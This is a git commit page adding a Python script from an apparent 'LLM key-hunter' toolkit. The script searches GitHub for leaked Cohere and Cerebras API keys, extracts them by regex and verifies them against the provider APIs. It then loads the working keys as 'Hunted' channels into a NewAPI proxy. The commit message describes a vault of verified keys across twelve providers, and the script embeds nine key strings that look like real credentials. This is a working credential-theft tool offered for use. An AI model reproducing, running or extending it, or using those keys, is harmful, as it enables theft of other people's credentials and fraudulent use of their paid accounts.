Add LLM key-hunter toolkit, vault, and skill
- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
1 parent
a3f698806b
commit
5d215e1649
684 files changed
+133838
No files matched your search
@@ -0,0 +1,252 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Hunt for leaked Cohere and Cerebras API keys on GitHub — curl version."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import subprocess
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
|
||||
|
||||
# Get GitHub token
|
||||
GH_TOKEN = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True).stdout.strip()
|
||||
|
||||
QUERIES = {
|
||||
"Cohere": [
|
||||
'COHERE_API_KEY extension:env',
|
||||
'COHERE_API_KEY extension:py',
|
||||
'COHERE_API_KEY extension:js',
|
||||
'COHERE_API_KEY extension:json',
|
||||
'COHERE_API_KEY extension:yaml',
|
||||
'COHERE_API_KEY extension:ipynb',
|
||||
'CO_API_KEY extension:env',
|
||||
'CO_API_KEY extension:py',
|
||||
'api.cohere.com extension:env',
|
||||
'api.cohere.com extension:py',
|
||||
'api.cohere.com extension:js',
|
||||
'cohere_client extension:py',
|
||||
'cohere.Client extension:py',
|
||||
'cohere.chat extension:py',
|
||||
'cohere.generate extension:py',
|
||||
],
|
||||
"Cerebras": [
|
||||
'csk- extension:env',
|
||||
'csk- extension:py',
|
||||
'csk- extension:js',
|
||||
'csk- extension:json',
|
||||
'csk- extension:yaml',
|
||||
'csk- extension:ipynb',
|
||||
'CEREBRAS_API_KEY extension:env',
|
||||
'CEREBRAS_API_KEY extension:py',
|
||||
'CEREBRAS_API_KEY extension:js',
|
||||
'CEREBRAS_API_KEY extension:json',
|
||||
'CEREBRAS_API_KEY extension:yaml',
|
||||
'CEREBRAS_API_KEY extension:ipynb',
|
||||
'CEREBRAS_KEY extension:env',
|
||||
'CEREBRAS_KEY extension:py',
|
||||
'api.cerebras.ai extension:env',
|
||||
'api.cerebras.ai extension:py',
|
||||
'api.cerebras.ai extension:js',
|
||||
'from cerebras extension:py',
|
||||
'import cerebras extension:py',
|
||||
'cerebras.cloud extension:py',
|
||||
],
|
||||
}
|
||||
|
||||
PATTERNS = {
|
||||
"Cohere": re.compile(r'[a-zA-Z0-9]{40}'),
|
||||
"Cerebras": re.compile(r'csk-[a-zA-Z0-9]{40}'),
|
||||
}
|
||||
|
||||
EXISTING = {
|
||||
"Cohere": {
|
||||
"ct5c9Usx0I3zvy8WlAXrHWPvXyBlIL06J7rNkSy5",
|
||||
"WnFNt5UQK39iRBhjWNUdBTJZlhLM0HR3ifc0ESQa",
|
||||
"MxABl5slwJzoiiHOGbO4fAVUw0Kte455V1T7jOYs",
|
||||
"o6DdGd0awe4vhcOEBS4r3RJOt0PdNB4iC60lIE40",
|
||||
"N2KVYbjgSfNVKZw2HSwVJCRuRqEVkpFEqCrozr22",
|
||||
"fjdejHaAyGLwkWmg9OzQUsi3nQi7BQeZERcHtYcz",
|
||||
},
|
||||
"Cerebras": {
|
||||
"csk-dpvv4653fh4rk2k9y2p2nyhjvy8jw6wyp66xcrykvj33nkj4",
|
||||
"csk-j99xk9m6kr5x5nfmkwdrm3jmctwh6eh3pvcm9ymmy293emhp",
|
||||
"csk-kppj54cwjmefpw8mj9x9w3ey9yx9yvh64jw3ek9m5prm9d3v",
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def gh_search(query, per_page=50):
|
||||
"""Search GitHub code via curl."""
|
||||
import urllib.parse
|
||||
encoded = urllib.parse.quote(query)
|
||||
url = f"https://api.github.com/search/code?q={encoded}&per_page={per_page}"
|
||||
try:
|
||||
req = urllib.request.Request(url)
|
||||
req.add_header("Authorization", f"token {GH_TOKEN}")
|
||||
req.add_header("Accept", "application/vnd.github.v3+json")
|
||||
req.add_header("User-Agent", _UA)
|
||||
with urllib.request.urlopen(req, timeout=15) as resp:
|
||||
data = json.loads(resp.read())
|
||||
return [item["html_url"] for item in data.get("items", [])]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
|
||||
def fetch_raw(url):
|
||||
"""Fetch raw file content from GitHub."""
|
||||
raw_url = url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
try:
|
||||
req = urllib.request.Request(raw_url)
|
||||
req.add_header("User-Agent", _UA)
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
return resp.read().decode("utf-8", errors="ignore")
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def verify_key(provider, key, timeout=15):
|
||||
"""Verify a key."""
|
||||
if provider == "Cohere":
|
||||
url = "https://api.cohere.com/compatibility/v1/chat/completions"
|
||||
model = "command-r-plus-08-2024"
|
||||
else:
|
||||
url = "https://api.cerebras.ai/v1/chat/completions"
|
||||
model = "zai-glm-4.7"
|
||||
|
||||
payload = json.dumps({
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 5,
|
||||
}).encode()
|
||||
req = urllib.request.Request(url, data=payload, method="POST")
|
||||
req.add_header("Authorization", f"Bearer {key}")
|
||||
req.add_header("Content-Type", "application/json")
|
||||
req.add_header("User-Agent", _UA)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return True, "OK"
|
||||
except urllib.error.HTTPError as e:
|
||||
raw = e.read()
|
||||
try:
|
||||
err = json.loads(raw)
|
||||
msg = err.get("message", "") or err.get("error", {}).get("message", "")
|
||||
except Exception:
|
||||
msg = f"HTTP {e.code}"
|
||||
return False, msg[:80]
|
||||
except Exception as e:
|
||||
return False, str(e)[:80]
|
||||
|
||||
|
||||
def hunt(provider):
|
||||
print(f"\n{'='*60}")
|
||||
print(f" {provider}")
|
||||
print(f"{'='*60}")
|
||||
|
||||
queries = QUERIES[provider]
|
||||
pattern = PATTERNS[provider]
|
||||
existing = EXISTING[provider]
|
||||
|
||||
# Phase 1: Search
|
||||
print(f"\n [1/3] Searching ({len(queries)} queries)...")
|
||||
urls = set()
|
||||
for i, q in enumerate(queries):
|
||||
results = gh_search(q)
|
||||
new = len(set(results) - urls)
|
||||
urls.update(results)
|
||||
print(f" [{i+1}/{len(queries)}] {q[:45]:47s} → {len(results):3d} files (+{new})")
|
||||
time.sleep(1.5)
|
||||
|
||||
print(f"\n Total: {len(urls)} unique files")
|
||||
|
||||
# Phase 2: Extract (concurrent fetching)
|
||||
print(f"\n [2/3] Fetching & extracting ({len(urls)} files, concurrent)...")
|
||||
all_keys = set()
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futures = {pool.submit(fetch_raw, url): url for url in urls}
|
||||
done = 0
|
||||
for future in as_completed(futures):
|
||||
done += 1
|
||||
content = future.result()
|
||||
if not content:
|
||||
continue
|
||||
for m in pattern.finditer(content):
|
||||
k = m.group()
|
||||
if k not in existing:
|
||||
if provider == "Cohere" and re.match(r'^[0-9a-f]{40}$', k):
|
||||
continue
|
||||
all_keys.add(k)
|
||||
if done % 50 == 0:
|
||||
print(f" Fetched {done}/{len(urls)} files, {len(all_keys)} keys so far")
|
||||
|
||||
print(f" Extracted: {len(all_keys)} unique candidate keys")
|
||||
|
||||
# Phase 3: Verify
|
||||
print(f"\n [3/3] Verifying {len(all_keys)} keys...")
|
||||
good = []
|
||||
with ThreadPoolExecutor(max_workers=12) as pool:
|
||||
futures = {pool.submit(verify_key, provider, k): k for k in all_keys}
|
||||
for future in as_completed(futures):
|
||||
key = futures[future]
|
||||
ok, msg = future.result()
|
||||
if ok:
|
||||
good.append(key)
|
||||
print(f" ✅ {key[:40]}... WORKING!")
|
||||
print(f"\n ✅ {provider}: {len(good)} new working keys")
|
||||
return good
|
||||
|
||||
|
||||
def main():
|
||||
cohere_good = hunt("Cohere")
|
||||
cerebras_good = hunt("Cerebras")
|
||||
|
||||
print(f"\n{'='*60}")
|
||||
print(" RESULTS")
|
||||
print(f"{'='*60}")
|
||||
print(f"\n Cohere: {len(cohere_good)} new keys")
|
||||
for k in cohere_good:
|
||||
print(f" {k}")
|
||||
print(f"\n Cerebras: {len(cerebras_good)} new keys")
|
||||
for k in cerebras_good:
|
||||
print(f" {k}")
|
||||
|
||||
if cohere_good or cerebras_good:
|
||||
print(f"\n{'='*60}")
|
||||
print(" Adding to NewAPI")
|
||||
print(f"{'='*60}")
|
||||
sys.path.insert(0, os.path.dirname(__file__))
|
||||
from newapi_client import add_channel, TYPE_OPENAI
|
||||
|
||||
if cohere_good:
|
||||
ch = {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "Cohere-Hunted",
|
||||
"key": "\n".join(cohere_good),
|
||||
"base_url": "https://api.cohere.com/compatibility/v1",
|
||||
"models": "command-r-plus-08-2024,command-r-08-2024,command-a-03-2025,command-a,c4ai-aya-expanse-32b",
|
||||
"group": "default",
|
||||
}
|
||||
s, m = add_channel(ch, mode="multi_to_single")
|
||||
print(f" Cohere-Hunted ({len(cohere_good)} keys) {'✅' if s else '❌'} {m}")
|
||||
|
||||
if cerebras_good:
|
||||
ch = {
|
||||
"type": TYPE_OPENAI,
|
||||
"name": "Cerebras-Hunted",
|
||||
"key": "\n".join(cerebras_good),
|
||||
"base_url": "https://api.cerebras.ai/v1",
|
||||
"models": "zai-glm-4.7,gemma-4-31b,gpt-oss-120b",
|
||||
"group": "default",
|
||||
}
|
||||
s, m = add_channel(ch, mode="multi_to_single")
|
||||
print(f" Cerebras-Hunted ({len(cerebras_good)} keys) {'✅' if s else '❌'} {m}")
|
||||
else:
|
||||
print("\n No new working keys found.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in new issue
Block a user